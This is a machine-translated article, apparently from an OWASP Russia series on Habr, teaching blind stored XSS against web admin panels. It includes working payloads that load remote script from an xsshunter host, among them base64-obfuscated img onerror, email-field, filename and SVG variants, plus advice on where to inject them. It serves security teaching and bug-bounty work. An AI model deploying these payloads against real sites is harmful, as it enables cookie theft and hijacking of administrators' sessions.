Blinde Einfachheit

Bild

In diesem Artikel werde ich über blindes XSS sprechen - dies ist ein ziemlich einfacher, aber oft sehr effektiver Angriff auf Webanwendungen. Der Betrieb solcher Angriffsvektoren führt zur Erfassung von Admin-Panels verschiedener Dienste, einschließlich Software-Riesen.

UPD: Ein Teil der Nutzdaten aus dem Artikel arbeitete an Habr-Aggregatoren / Parsern, solche Dinge :)


Wie funktioniert es


Zunächst ist anzumerken, dass XSS keine Sicherheitslücke ist, sondern eine Art Angriff auf Websysteme. Es besteht darin, schädlichen Code in die vom Websystem ausgegebene Seite einzuführen (die auf dem Computer des Benutzers ausgeführt wird, wenn diese Seite von ihm geöffnet wird) und mit dem Webserver des Angreifers zu interagieren. Es gibt verschiedene Arten von XSS: gespeichert, gespiegelt und DOM. In diesem Artikel werden nur gespeicherte XSS betrachtet - sie eignen sich zum Durchbrechen.

Das Angriffsschema lautet wie folgt: Der Angreifer platziert die schädlichen Nutzdaten in der Webanwendung, der anfällige Code gelangt in die Datenbank und "schießt" im Projektadministrationsbereich.

Bild

Oft ahnt der Angreifer vor dem Auslösen der Nutzlast nicht, wo und wann er „schießen“ wird. Aus eigener Erfahrung kann ich sagen, dass Nutzlastvorgänge von einigen Sekunden bis zu mehreren Monaten stattfanden - es ist äußerst problematisch, diesen Prozess zu beschleunigen.

Bild

Wo die Nutzlast funktioniert, ist ebenfalls ein wichtiger Faktor. Das Gefühl, die Endpunkte des blinden XSS zu spüren, ist vergleichbar mit dem Abfeuern von Kugeln mit einem verschobenen Schwerpunkt. Manchmal befinden sich Admin-Panels in eingängigen Subdomains des Formulars manage007.attacked.site oder außerhalb der getesteten Site unter einer IP-Adresse wie XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Oder es kann sich beispielsweise um ein Analysesystem handeln, das sich im Allgemeinen außerhalb der Grenzen des getesteten Unternehmens befindet.

Endpunkte


Um unsere Nutzlast zu stoppen, benötigen wir einen externen Endpunkt zum Abfangen. Zu diesem Zweck können Sie Ihren Dienst erhöhen und alle Anrufe abfangen, einschließlich Header mit einer für Sie akzeptablen Programmiersprache.

Bild

Oder Sie können die folgenden Optionen (Ihrer Wahl) verwenden.

BurpCollaborator ist ein spezialisierter externer Dienst für Benutzer von Burp Suite Pro:



Verwenden Sie Dienste,% name% bin, zum Beispiel requestbin :



Erhöhen Sie Ihren eigenen Service, zum Beispiel mit ezXSS :

Bild

Oder verwenden Sie xsshunter (empfohlen für Anfänger) - einen Dienst zum Generieren von Nutzdaten und zum Erhalten eines "Kicks" von der ausgelösten Nutzlast (einschließlich E-Mail):



Nutzlasten


Also haben wir das Eingabeformular auf der Site gefunden und möchten unsere Theorie testen, dass der Blinde darin arbeiten wird. Dazu müssen wir Nutzlasten vorbereiten, einschließlich der Umgehung der Schutzausrüstung.

Der xsshunter-Dienst bietet mehrere vorgefertigte Nutzdaten für den Betrieb von blindem XSS:

Uri Nutzlast:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

IMG-Nutzlast:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

Ein Teil der Nutzdaten wird in base64 konvertiert

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

Nutzlast im E-Mail-Feld:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 



Interessante Tricks


Betrachten Sie nun die interessantesten Eingabeformulare für die Implementierung von Nutzdaten.
E-Mail - oben sind gültige Implementierungsbeispiele aufgeführt. Ob dies funktioniert oder nicht, hängt von der Art der Webanwendung ab.

Im Feld Passwort - hier können wir herausfinden, ob die Webanwendung das Passwort im Klartext speichert und ob der Administrator es gesehen hat.

Online-Helfer - schießt manchmal auch hier.

In den Headern - ersetzen wir die Nutzdaten in allen Headern, die wir steuern können: Referer, User Agent usw.

Svg-Vektoren - Das Laden von Bildern / Avataren in Form von * .svg kann uns die Möglichkeit geben, unsere Nutzdaten zu implementieren (Beispiel) . SVG enthält Nutzdaten:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

Datei-Upload-Feld / Dateiname - Wir können versuchen, mit dem Namen herunterzuladen:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 



Abbestellen - Abbestellen von Feldern, "Ihre Meinung ist uns wichtig" und mehr. Auch eine sehr vielversprechende Form zur Einführung von Nutzlast.

Umfragen - Feld "Sonstige / Ihre Antwortoption".

Fang


Durch Ausnutzen dieses Angriffs können Sie auf das Control Panel (mit unangemessenen Sicherheitseinstellungen), den Screenshot, die DOM-Struktur, die IP-Adresse des Administrators, Cookies usw. zugreifen.

Bild

Mit diesem Angriff können Sie auf Support- Systeme, Admin-Panels und vieles mehr zugreifen. Während der Teilnahme an den Bug Bounty-Programmen wurden einige interessante Screenshots gesammelt, die während solcher Angriffe erhalten wurden:



Online Casino :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



Das von 150.000 Unternehmen weltweit verwendete System :



Es gibt viele solcher Screenshots - dies legt nahe, dass Entwickler nicht nur dem Fenster der Webanwendung, sondern auch ihrem administrativen Teil besondere Aufmerksamkeit schenken sollten.

UPD: Ein Teil der Nutzdaten aus dem Artikel arbeitete an Habr-Aggregatoren / Parsern, solche Dinge :)





Dieser Artikel wurde im Rahmen des OWASP-Projekts erstellt.
Kapitel OWASP Russland : OWASP Russland
OWASP Russland Chat: https://t.me/OWASP_Russia
OWASP Russland Kanal: https://t.me/OWASP_RU

Source: https://habr.com/ru/post/de450780/


All Articles